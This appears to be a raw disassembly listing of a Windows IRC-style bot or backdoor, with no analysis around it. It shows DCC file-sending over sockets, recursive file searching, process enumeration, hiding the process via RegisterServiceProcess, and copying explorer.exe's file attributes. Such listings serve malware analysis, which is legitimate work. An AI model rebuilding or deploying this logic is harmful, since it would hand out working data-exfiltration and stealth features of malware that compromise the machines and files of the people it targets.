var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C400
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014D3
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40C94E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_443600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40200E
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C4CC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
nop
call near ptr byte_5EA1BD
add esp, 8
jmp loc_40C8F5
; ---------------------------------------------------------------------------
loc_40C4CC: ; CODE XREF: sub_40C400+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
call near ptr 71AB2B66h
nop
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_40C51A
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C5C0
; ---------------------------------------------------------------------------
loc_40C51A: ; CODE XREF: sub_40C400+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
call near ptr 71AB951Eh
nop
mov edx, [esp+0ABCh+var_AA0+2]
push edx
call near ptr 71AB2B66h
nop
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014D3
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C573: ; CODE XREF: sub_40C400+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C585
mov eax, 5Fh
jmp short loc_40C588
; ---------------------------------------------------------------------------
loc_40C585: ; CODE XREF: sub_40C400+17Cj
movsx eax, al
loc_40C588: ; CODE XREF: sub_40C400+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C573
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C5DD
lea ecx, [ebp+69h]
call sub_4014D3
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C5C0: ; CODE XREF: sub_40C400+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C5DD: ; CODE XREF: sub_40C400+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017E4
push eax
nop
call near ptr 284036Ch
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C644
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call near ptr byte_5EA1BD
add esp, 8
jmp loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C644: ; CODE XREF: sub_40C400+201j
push 0
push esi
nop
call near ptr 2840000h
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_401424
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D60BD
push eax
call sub_401DF7
add esp, 4
push eax
call near ptr 71AB2BF4h
nop
push eax
call near ptr 71AB2BC0h
nop
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017E4
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_443A20
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_401681
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C73D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C73D: ; CODE XREF: sub_40C400+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C78D
lea ecx, [ebp+69h]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_40C8DA
; ---------------------------------------------------------------------------
loc_40C78D: ; CODE XREF: sub_40C400+360j
push edi
nop
call near ptr 71AB9639h
test ebx, ebx
jz loc_40C845
loc_40C79C: ; CODE XREF: sub_40C400+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C7A7
mov ebp, ebx
loc_40C7A7: ; CODE XREF: sub_40C400+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
call near ptr 2830000h
nop
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
call near ptr 2820BEDh
nop
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
call near ptr 71AB428Ah
nop
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
call near ptr 71AB615Ah
nop
cmp eax, 1
jl loc_40C90E
cmp edi, 1
jl loc_40C90E
sub ebx, edi
jnz loc_40C79C
mov ebp, [esp+0ABCh+arg_0]
loc_40C845: ; CODE XREF: sub_40C400+396j
push esi
nop
call near ptr 28207DAh
lea ecx, [esp+0AB8h+var_A38]
call sub_401424
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014D3
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014D3
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C8DA: ; CODE XREF: sub_40C400+338j
; sub_40C400+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C8EF: ; CODE XREF: sub_40C400+1D8j
; sub_40C400+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C8FC
loc_40C8F5: ; CODE XREF: sub_40C400+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C8FC: ; CODE XREF: sub_40C400+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
call near ptr 71AB9639h
nop
push esi
call near ptr 2820144h
nop
loc_40C90E: ; CODE XREF: sub_40C400+427j
; sub_40C400+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
nop
call near ptr 71AB9639h
push 1
call near ptr 2820144h
nop
loc_40C94E: ; CODE XREF: sub_40C400+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C400 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CAD0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_401424
mov eax, esi
pop esi
retn
sub_40CAD0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CAF0: ; CODE XREF: ___:loc_401AFFj
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CB10 proc near ; CODE XREF: sub_402045j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CB10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
sub_40CB10 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401BA4j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CBB0
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014D3
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CDAE
push ebx
lea ecx, [esp+284h+var_260]
call sub_40198D
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40200E
push 1
push offset asc_443600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+288h+var_247]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_443600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017E4
push eax
lea ecx, [esp+288h+var_232]
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E2E
push offset asc_443AF4 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CD2B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E2E
push offset dword_446F64
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A87
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CD2B: ; CODE XREF: sub_40CBB0+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014D3
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014D3
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_401681
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_402257
add esp, 18h
lea edx, [esp+284h+var_20C]
push eax
push offset aFilesFoundD ; "Files Found: %d"
push edx
nop
call near ptr byte_5EA1BD
mov eax, [esp+28Ch+var_211]
add esp, 0Ch
cmp eax, ebx
jnz short loc_40CD99
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_401681
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_401523
add esp, 10h
loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j
mov eax, [esp+280h+var_219]
push eax
call sub_401E24
add esp, 4
push ebx
nop
call near ptr 2820144h
pop ebx
loc_40CDAE: ; CODE XREF: sub_40CBB0+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CE60 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CE60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CEE0: ; CODE XREF: ___:loc_40226Bj
push 0FFFFFFFFh
push offset loc_438D86
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF60 proc near ; CODE XREF: sub_402257j
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_50FAD8
push esi
push offset aS_2 ; "%s\\*"
push 104h
push eax
call edi
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
nop
call near ptr 2860000h
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D027
loc_40CFB0: ; CODE XREF: sub_40CF60+C5j
test [esp+558h+var_548], 10h
jz short loc_40D017
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40CFCA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D017
cmp al, 2Eh
jz short loc_40D017
loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_443684
push 104h
push ecx
call edi
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_402257
add esp, 2Ch
mov ebp, eax
loc_40D017: ; CODE XREF: sub_40CF60+55j
; sub_40CF60+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
nop
call near ptr 2850000h
test eax, eax
jnz short loc_40CFB0
loc_40D027: ; CODE XREF: sub_40CF60+4Ej
push ebx
nop
call near ptr 2840525h
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_443684
push 104h
push eax
call edi
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2860000h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D0BB
loc_40D068: ; CODE XREF: sub_40CF60+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_401523
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2850000h
test eax, eax
jnz short loc_40D068
loc_40D0BB: ; CODE XREF: sub_40CF60+106j
push ebx
nop
call near ptr 2840525h
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40CF60 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D130 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D130
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_40D130 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D2E0: ; CODE XREF: ___:004013CAj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
call near ptr 2861D55h
nop
push eax
nop
call near ptr 2861191h
mov eax, dword_4470A0
test eax, eax
jz loc_40D403
mov ecx, dword_44709C
test ecx, ecx
jz loc_40D403
mov ecx, dword_446F68
test ecx, ecx
jz loc_40D403
push 0
push 2
call eax ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov dword_447098, eax
jz loc_40D403
push ebp
push offset dword_446F70
push eax
xor ebp, ebp
mov dword_446F70, 128h
call dword_44709C ; Process32First
test eax, eax
jz loc_40D3EC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_50FAD4
push edi
loc_40D36D: ; CODE XREF: ___:0040D3E7j
mov edi, offset dword_446F94
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_446F94
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_446F94
add edx, ecx
push edx
call esi
add esp, 0Ch
test eax, eax
jz short loc_40D3D3
mov edi, offset dword_446F94
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_446F94
mov ecx, ebx
call sub_401681
push eax
call esi
add esp, 0Ch
test eax, eax
jnz short loc_40D3D4
loc_40D3D3: ; CODE XREF: ___:0040D3ABj
inc ebp
loc_40D3D4: ; CODE XREF: ___:0040D3D1j
mov eax, dword_447098
push offset dword_446F70
push eax
call dword_446F68 ; Process32Next
test eax, eax
jnz short loc_40D36D
pop edi
pop esi
pop ebx
loc_40D3EC: ; CODE XREF: ___:0040D357j
mov ecx, dword_447098
push ecx
call near ptr 28207DAh
nop
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D403: ; CODE XREF: ___:0040D306j
; ___:0040D314j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D460: ; CODE XREF: ___:00401F91j
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
call near ptr 2870AFEh
nop
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_50F8E8
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
nop
call near ptr 2870658h
mov ebx, dword_50F8D8
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D526
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
nop
call near ptr 2870000h
push esi
call ebx
loc_40D526: ; CODE XREF: ___:0040D4C9j
; ___:0040D50Bj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D580 proc near ; CODE XREF: sub_401B59j
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_401424
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C5D
push eax
nop
call near ptr 27E0000h
lea ecx, [esp+1A8h+var_16C]
call sub_4017E4
push eax
lea ecx, [esi+4]
call sub_4015D7
lea ecx, [esp+1A8h+var_184]
call sub_401424
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C5D
push eax
push 0
nop
call near ptr 2861D55h
push eax
nop
call near ptr 2861191h
push offset aKernel32_dll_0 ; "kernel32.dll"
nop
call near ptr 27C07EDh
mov esi, eax
test esi, esi
jz short loc_40D671
mov edi, dword_50F8A0
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_4470A4, eax
call edi
push offset aProcess32first ; "Process32First"
push esi
mov dword_4470A0, eax
call edi
push offset aProcess32next ; "Process32Next"
push esi
mov dword_44709C, eax
call edi
mov dword_446F68, eax
mov eax, dword_4470A4
test eax, eax
jz short loc_40D671
push ebx
push 0
call eax
loc_40D671: ; CODE XREF: sub_40D580+A7j
; sub_40D580+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402117
test eax, eax
jnz short loc_40D6A8
mov al, byte_44718F
test al, al
jz short loc_40D6A8
mov ecx, esi
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
loc_40D6A8: ; CODE XREF: sub_40D580+10Dj
; sub_40D580+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019B5
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017E4
push eax
call sub_4015FA
sub_40D580 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
